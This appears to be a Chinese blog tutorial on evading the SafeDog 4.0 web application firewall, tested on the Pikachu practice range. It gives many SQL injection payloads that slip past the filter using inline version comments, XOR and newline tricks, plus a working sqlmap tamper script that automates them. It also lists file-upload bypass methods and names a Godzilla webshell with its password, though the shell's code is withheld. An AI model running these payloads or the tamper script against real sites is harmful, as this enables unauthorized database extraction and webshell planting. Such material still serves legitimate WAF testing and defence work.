手把手全套过狗(附tamper和哥斯拉免杀马)
字数 1375 2025-08-20 18:18:11
绕过安全狗注入与上传的全面指南
知识点介绍
1. 内联注释绕过
MySQL语法中有三种注释方法:
--和#(单行注释)/* */(多行注释)
特殊用法:在/*后加惊叹号!表示/* */里的语句将被执行。MySQL为了保持兼容,把特有语句放在/*!....*/中,在其他数据库中不会执行但在MySQL中会执行。
示例:/*!50001 select * from test */,50001表示数据库是5.00.01及以上版本时才会执行。
2. 异或绕过
当^未被过滤时可利用:
- 异或运算符:
xor或^ - 逻辑运算规则:同假异真(两个条件结果相同为假,不同为真)
示例:
lucy' Xor '1'='1' #
- 如果'lucy'存在则前后都为真,返回假
- 如果'lucy'不存在则前为假后为真,返回真
3. 换行绕过
使用换行符绕过:
%23%0a、%2d%2d%0a%23是#(MySQL行注释符)%0A是换行符
示例:%23 aaaa相当于#aaaa(注释掉这行),加上%0a后后面的语句能执行。
测试环境
- Apache + 安全狗版本4.0.28330
- Windows 10
- Pikachu靶场(字符型注入测试)
MySQL注入绕过测试
1. AND 1绕过
and 1被拦截,使用内联注释:
lucy' /*!11440AND*/ '1'='1'#
也可用&或Xor代替AND:
lucy' & '1'='1'#
lucy' Xor '1'='1'#
2. ORDER BY绕过
order by被拦截,使用内联注释:
lucy' order/*!77777cz*/by 1#
可用的版本号范围:
- 10440–10449
- 13440-13449
- 14400-14499
- 15440-15449
- 16440-16449
- 17440-17449
- 18440-18449
3. UNION SELECT绕过
union select被拦截,使用内联注释:
-1' union /*!11440 select*/ 1,2#
或:
-1' union /!77777cz//!77777cz/ select 1,2#
4. 函数绕过
user()、database()被拦截,使用内联注释:
-1' union /*!77777cz*//*!77777cz*/ select database/*!77777a*/(),2#
MySQL空白字符:%09,%0a,%0b,%0c,%0d,%20,%a0
5. SELECT FROM绕过
select xxx from xxx被拦截,使用内联注释:
-1' union /*!11440select*/ group_concat(table_name),2 from information_schema.tables where table_schema=database/*!77777cz*/()#
或使用MySQL 5.6+新特性表:
1' union /*!11440select*/ group_concat(table_name),2 from mysql.innodb_index_stats where database_name=database/*!()*/#
6. 时间盲注和报错注入
sleep()不被拦但sleep(3)被拦:
lucy ' /*!11440or*/ /*!11440sleep(3)*/#
updatexml(1,1,0)被拦:
-1'AND updatexml/*!77777cz*/(1,version(),0)#
SQLMap Tamper脚本
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author: LUSHUN
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass safedog4.0'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!11440AND*/')
payload=payload.replace('ORDER','order/*!77777cz*/')
payload=payload.replace("SELECT","/*!11440SELECT*/")
payload=payload.replace("SLEEP(","sleep/*!77777cz*/(")
payload=payload.replace("UPDATEXML(","UPDATEXML/*!77777cz*/(")
payload=payload.replace("SESSION_USER()","/*!11440SESSION_USER()*/")
payload=payload.replace("USER())","USER/*!77777cz*/())")
payload=payload.replace("DATABASE()","DATABASE/*!77777cz*/()")
return payload
使用SQLMap时需加--random-agent参数。
绕过上传测试
安全狗使用黑名单限制上传。
方法一:等号绕过
在filename后多添加两个等号。
方法二:换行绕过
在文件后缀名处换行。
方法三:填充垃圾字符
在Content-Disposition字段后添加垃圾数据绕过文件名校验。
注意:安全狗对Content-Type也有检测限制。
免杀技术
提供一个哥斯拉免杀PHP马:
- 密码:lushuntest
- 加密器:XOR
(注:具体免杀马代码因安全原因不在此展示)
总结
本文详细介绍了绕过安全狗的各种技术,包括:
- MySQL注入绕过(AND、ORDER BY、UNION SELECT等)
- 上传绕过(等号、换行、垃圾字符)
- 免杀技术
- 自动化SQLMap Tamper脚本
这些技术主要针对安全狗4.0.28330版本,实际使用时可能需要根据目标环境进行调整。